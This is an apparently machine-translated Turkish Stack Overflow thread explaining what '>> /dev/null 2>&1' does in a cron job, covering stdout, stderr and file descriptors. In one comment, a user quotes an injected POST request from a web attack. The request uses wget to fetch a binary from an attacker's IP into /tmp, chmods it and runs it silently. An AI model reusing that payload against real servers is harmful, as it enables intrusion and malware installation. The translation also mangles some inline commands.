/ Dev / null 2> & 1 nedir?


237

Bu kod parçasını /etc/cron.daily/apf içinde buldum

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

Güvenlik duvarını yıkıyor ve yeniden dolduruyor.
Parçayı anlamıyorum >> /dev/null 2>&1.

Bunu cronda bulundurmanın amacı nedir? Güvenlik duvarı kurallarımı geçersiz kılıyor. Bu cron işini güvenle kaldırabilir miyim?


1
FYI: Bir işlemi susturmanın daha kısa bir yolu >&- 2>&-.
Zaz

22
@Josh: işleri neden olduğundan daha gizemli hale getirmelisin?
endolit

4
@Josh Bu, programları iptal edebilecek ilgili FD'leri kapatır.
glglgl

1
ile 2>&1 > /dev/nullaynı > /dev/null 2>&1 mı? Benim için daha doğal görünüyor ...
edelans

6
Bu şekilde stderr'i stdout'a yönlendirir, ancak yalnızca /dev/null—stderr için orijinal stdout çıktılanır. Aracı gist.github.com/zigg/344361751c0110419b0f
zigg

Yanıtlar:


354

>> /dev/nullstandart çıktıyı ( stdout) /dev/nullatar ve atar.

( >>Görünüşe göre gereksizdir, çünkü >>ekleme, >kesme ve yazma anlamına gelir ve ekleme veya yazma /dev/nullaynı net etkiye sahiptir. Genellikle sadece >bu nedenle kullanıyorum.)

2>&1standart hatayı ( 2) standart çıktıya ( 1) yönlendirir ve standart çıktı zaten yeniden yönlendirildiği için bunu da atar.


7
&Sembol burada neyi gösterir 2>&1.
Kimse

17
&, bir dosya tanımlayıcısını belirtir. Genellikle 3 dosya tanımlayıcısı vardır - standart girdi, çıktı ve hata.
Testing123

1
@Hiç kimse sorunuza aşağıdaki cevabımı kontrol etmiyor stackoverflow.com/questions/10508843/what-is-dev-null-21/…
Vishrant

1
& Bir dosya tanıtıcısını gösterirse neden 2'den önce hayır olur?
user6708151

1
Diğerlerinin dosya tanımlayıcılarını açıklayan aşağıdaki yanıtı When redirecting data streams, & means whatever follows is a file descriptor, not a filename.
okumaması durumunda

199

İfadeyi >> /dev/null 2>&1parçalara ayıralım:


Bölüm 1: >> Çıkış Yönlendirme

Bu, program çıktısını yeniden yönlendirmek ve çıktıyı dosyanın sonuna eklemek için kullanılır. Daha...


Bölüm 2: /dev/null Özel Dosya

Bu bir sözde aygıt özel dosyasıdır .

Komut ls -l /dev/nullsize bu dosyanın ayrıntılarını verecektir:

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

Gözlemledin crwmi Bu , seri erişimi sağlayan karakter-özel dosya türünde bir sözde aygıt dosyası anlamına gelir .

/dev/nulltüm girdileri kabul eder ve atar; çıktı üretmez (her zaman bir okumada dosya sonu göstergesi döndürür). Referans: Wikipedia


Bölüm 3: 2>&1 Dosya Tanımlayıcı

Bir program yürüttüğünüzde, işletim sistemi her zaman bir dosya açıldığında bildiğimiz gibi standart girdi, standart çıktı ve standart hata olmak üzere üç dosya açar, işletim sistemi ( çekirdekten ) dosya tanımlayıcı adı verilen negatif olmayan bir tamsayı döndürür . Bu dosyalar için dosya tanımlayıcı sırasıyla 0, 1 ve 2'dir.

Yani 2>&1basitçe standart çıktıya yönlendirme standart hata diyor.

& şu anlama gelir, dosya adı değil dosya tanımlayıcısıdır.

Kısacası, bu komutu kullanarak programınıza yürütme sırasında bağırmamanızı söylersiniz.

Kullanmanın önemi nedir 2>&1?

Terminalde bir hata oluşsa bile herhangi bir çıktı üretmek istemiyorsanız. Daha açıklamak için aşağıdaki örneği ele alalım:

$ ls -l > /dev/null

Yukarıdaki komut için terminalde çıktı yazdırılmadı, ancak bu komut bir hata üretirse:

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

Çıkışı yeniden yönlendirmeme rağmen /dev/null, terminalde yazdırılıyor. Bunun nedeni, hata çıkışını yeniden yönlendirmememizdir /dev/null, bu nedenle hata çıkışını da yeniden yönlendirmek için aşağıdakileri eklemeniz gerekir 2>&1:

$ ls -l file_doesnot_exists > /dev/null 2>&1

2
İyi örnek! '>' Daha önce 'STDERR'i yönlendirmez.
miao.wang

Güzel açıkladı! çok bilgilendirici. Teşekkürler. Son zamanlarda karşılaştığım web saldırısını anlamama yardımcı olur. Saldırgan, yukarıdaki kod parçasını içeren POST isteği yoluyla bazı kötü amaçlı kodlar enjekte ediyor.
Sohel Pathan

1
@ Vishrant Enjekte edilen kod şuna benzer: POST / kullanıcı / şifre? Name [% 23post_render] [] = sistem ve ad [% 23markup] = cd + / tmp; wget + -O + xm111 + xxx.xxx.xxx.xxx/xm111;chmod+777+ xm111; wget + -O + config.json + http: /… > / dev / null 2> & 1 & HTTP / 1.1 xxx.xxx.xxx.xxx saldırganın IP'sidir ve ayrıca birçok sitede küfürlü olarak listelenir. İlk ve en önemli önleyici adım, güvenlik duvarındaki IP'nin yanı sıra bu IP'lerin desenini bloke etmektir. Saldırı, ana sayfa yüklenirken 3. taraf web sitesine yönlendirilecekti. Apache sunucu günlüğü şüpheli IP ve istek gösterdi.
Sohel Pathan

5
Sadece 2'den önce neden '&' kullanmadığımızı merak ediyordum. Birisi lütfen şüphemi giderebilir mi?
Snehasish Karmakar

1
@SnehasishKarmakar meşru bir soru. Ben OS Bir dosya tanıtıcı olacağından ilk argüman anlamak için akıllı yeterlidir ama inan >ekleyerek bir dosya konumu olması bekleniyor yönlendirme operatörü izler ne olursa olsun bir yönlendirme operatörü olduğu &daha önce 1bir dosya olmadığını gösterir nerede uygulama çıktı yönlendirmek zorunda ama bir dosya tanımlayıcı. Birisi bu yorumun daha fazla ayrıntı ekleyip ekleyemeyeceğinizi takdir edeceğim.
Vishrant

58

Bir programı sessizce yürütmenin ve tüm çıktılarını gizlemenin yolu budur.

/dev/nulliçine yazılan her şeyi atayan özel bir dosya sistemi nesnesidir. Bir akışı buna yönlendirmek, programınızın çıktısını gizlemek anlamına gelir.

2>&1Bölüm araçlarının çıkış akışı yönlendirmek, bu nedenle zaman hata akımı sıra yönlendirildi, "çıkış akışı içine hata akışı yönlendirme". Programınız stderrşimdiye kadar yazsa bile , bu çıktı da atılır.


37
Aslında, 2>&1aslında yönlendirmeleri stderriçin stdout. Bu ve iddia ettiğiniz şey arasındaki fark en iyi şekilde, yönlendirmelerin sırasını değiştirerek, örn 2>&1 >/dev/null.
zigg

15

/dev/null yazdığınız tüm dosyaları silen ancak yazma işleminin başarılı olduğunu bildiren standart bir dosyadır.

1standart çıktıdır ve 2standart hatadır.

2>&1standart hatayı standart çıktıya yönlendirir. &1dosya tanımlayıcısını (standart çıktı) belirtir, aksi takdirde (yalnızca kullanırsanız 1) standart hatayı adlı bir dosyaya yönlendirirsiniz 1. [any command] >>/dev/null 2>&1tüm standart hatayı standart çıktıya yönlendirir ve bunların tümünü yazar /dev/null.


7

>> /dev/null 2>&1Sessiz bir cronjob için kullanıyorum . Bir cronjob işi yapacak, ancak e-postama bir rapor göndermeyecek.

Bildiğim kadarıyla kaldırmayın /dev/null. Özellikle cPanel'i çalıştırdığınızda , fırlatma cronjob raporları için kullanılabilir.


2

Diğerleri tarafından açıklandığı gibi, / dev / null dosyasına yazmak bir programın çıktısını ortadan kaldırır. Genellikle cron, bir cronjob ile başlayan işlemden her çıktı için bir e-posta gönderir. Bu nedenle, çıktıyı / dev / null dizinine yazarak adresinizi cron olarak belirttiyseniz spam gönderilmesini önlersiniz.


0

Düzenle /etc/conf.apf. Ayarlayın DEVEL_MODE="0". DEVEL_MODEseti için 15 dakika sonra apf durdurmak için bir cron işi ekleyecektir.

Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.